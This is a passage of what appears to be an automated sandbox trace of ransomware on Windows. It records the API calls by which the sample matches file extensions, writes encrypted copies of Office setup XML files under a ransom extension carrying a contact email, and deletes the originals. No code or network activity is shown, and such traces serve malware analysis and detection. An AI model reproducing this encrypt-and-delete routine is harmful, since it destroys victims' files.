(lpString1=".bz2", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString=".7z") returned 3 [0211.426] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.426] lstrlenW (lpString=".dbf") returned 4 [0211.426] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.426] lstrlenW (lpString=".1cd") returned 4 [0211.426] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.426] lstrlenW (lpString=".jpg") returned 4 [0211.426] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.426] lstrlenW (lpString=".doc") returned 4 [0211.426] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString=".docx") returned 5 [0211.426] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0211.426] lstrlenW (lpString=".pdf") returned 4 [0211.426] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString=".xls") returned 4 [0211.426] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString=".xlsx") returned 5 [0211.426] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0211.426] lstrlenW (lpString=".ppt") returned 4 [0211.426] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.426] lstrlenW (lpString=".zip") returned 4 [0211.426] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.426] lstrlenW (lpString=".rar") returned 4 [0211.426] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString=".bz2") returned 4 [0211.426] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString=".7z") returned 3 [0211.426] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.427] lstrlenW (lpString=".dbf") returned 4 [0211.427] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.427] lstrlenW (lpString=".1cd") returned 4 [0211.427] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.427] lstrlenW (lpString=".jpg") returned 4 [0211.427] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.427] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.427] lstrlenW (lpString="SETUP.XML") returned 9 [0211.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.428] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=5884) returned 1 [0211.428] CloseHandle (hObject=0x1f0) returned 1 [0211.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0211.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.428] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.428] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.492] GetLastError () returned 0x0 [0211.492] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x16fc, lpOverlapped=0x0) returned 1 [0211.506] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1700, lpOverlapped=0x0) returned 1 [0211.507] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0211.507] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.507] SetEndOfFile (hFile=0x194) returned 1 [0211.507] CloseHandle (hObject=0x194) returned 1 [0211.508] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.508] SetEndOfFile (hFile=0x1f0) returned 1 [0211.508] CloseHandle (hObject=0x1f0) returned 1 [0211.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.509] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0211.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.509] lstrlenW (lpString=".doc") returned 4 [0211.509] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString=".docx") returned 5 [0211.509] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.509] lstrlenW (lpString=".pdf") returned 4 [0211.509] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString=".xls") returned 4 [0211.509] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString=".xlsx") returned 5 [0211.509] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.509] lstrlenW (lpString=".ppt") returned 4 [0211.509] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.509] lstrlenW (lpString=".zip") returned 4 [0211.509] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.509] lstrlenW (lpString=".rar") returned 4 [0211.509] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString=".bz2") returned 4 [0211.509] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString=".7z") returned 3 [0211.509] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.509] lstrlenW (lpString=".dbf") returned 4 [0211.509] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.509] lstrlenW (lpString=".1cd") returned 4 [0211.509] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.509] lstrlenW (lpString=".jpg") returned 4 [0211.509] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.509] lstrlenW (lpString=".doc") returned 4 [0211.509] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.509] lstrlenW (lpString=".docx") returned 5 [0211.509] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.510] lstrlenW (lpString=".pdf") returned 4 [0211.510] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.510] lstrlenW (lpString=".xls") returned 4 [0211.510] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.510] lstrlenW (lpString=".xlsx") returned 5 [0211.510] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.510] lstrlenW (lpString=".ppt") returned 4 [0211.510] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.510] lstrlenW (lpString=".zip") returned 4 [0211.510] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.510] lstrlenW (lpString=".rar") returned 4 [0211.510] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.510] lstrlenW (lpString=".bz2") returned 4 [0211.510] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.510] lstrlenW (lpString=".7z") returned 3 [0211.510] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.510] lstrlenW (lpString=".dbf") returned 4 [0211.510] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.510] lstrlenW (lpString=".1cd") returned 4 [0211.510] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.510] lstrlenW (lpString=".jpg") returned 4 [0211.510] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.510] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.510] lstrlenW (lpString="SETUP.XML") returned 9 [0211.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.524] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1608) returned 1 [0211.524] CloseHandle (hObject=0x194) returned 1 [0211.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0211.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.524] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.524] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0211.524] GetLastError () returned 0x0 [0211.524] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x648, lpOverlapped=0x0) returned 1 [0211.589] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x650, lpOverlapped=0x0) returned 1 [0211.590] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0211.590] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.590] SetEndOfFile (hFile=0x184) returned 1 [0211.590] CloseHandle (hObject=0x184) returned 1 [0211.590] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.590] SetEndOfFile (hFile=0x194) returned 1 [0211.591] CloseHandle (hObject=0x194) returned 1 [0211.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.591] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0211.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.591] lstrlenW (lpString=".doc") returned 4 [0211.591] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.591] lstrlenW (lpString=".docx") returned 5 [0211.591] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.591] lstrlenW (lpString=".pdf") returned 4 [0211.591] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.591] lstrlenW (lpString=".xls") returned 4 [0211.591] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.591] lstrlenW (lpString=".xlsx") returned 5 [0211.591] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.591] lstrlenW (lpString=".ppt") returned 4 [0211.591] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.592] lstrlenW (lpString=".zip") returned 4 [0211.592] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.592] lstrlenW (lpString=".rar") returned 4 [0211.592] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString=".bz2") returned 4 [0211.592] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString=".7z") returned 3 [0211.592] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.592] lstrlenW (lpString=".dbf") returned 4 [0211.592] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.592] lstrlenW (lpString=".1cd") returned 4 [0211.592] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.592] lstrlenW (lpString=".jpg") returned 4 [0211.592] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.592] lstrlenW (lpString=".doc") returned 4 [0211.592] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString=".docx") returned 5 [0211.592] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.592] lstrlenW (lpString=".pdf") returned 4 [0211.592] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString=".xls") returned 4 [0211.592] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString=".xlsx") returned 5 [0211.592] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.592] lstrlenW (lpString=".ppt") returned 4 [0211.592] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.592] lstrlenW (lpString=".zip") returned 4 [0211.592] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.592] lstrlenW (lpString=".rar") returned 4 [0211.592] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString=".bz2") returned 4 [0211.592] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString=".7z") returned 3 [0211.592] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.592] lstrlenW (lpString=".dbf") returned 4 [0211.592] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.592] lstrlenW (lpString=".1cd") returned 4 [0211.592] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0211.593] lstrlenW (lpString=".jpg") returned 4 [0211.593] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.593] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.593] lstrlenW (lpString="WordMUI.XML") returned 11 [0211.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.593] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1800) returned 1 [0211.593] CloseHandle (hObject=0x194) returned 1 [0211.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0211.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.593] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.593] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.611] GetLastError () returned 0x0 [0211.611] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x708, lpOverlapped=0x0) returned 1 [0211.763] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x710, lpOverlapped=0x0) returned 1 [0211.764] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0211.764] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0211.764] SetEndOfFile (hFile=0x1f0) returned 1 [0211.764] CloseHandle (hObject=0x1f0) returned 1 [0211.764] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.764] SetEndOfFile (hFile=0x194) returned 1 [0211.765] CloseHandle (hObject=0x194) returned 1 [0211.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.765] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0211.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 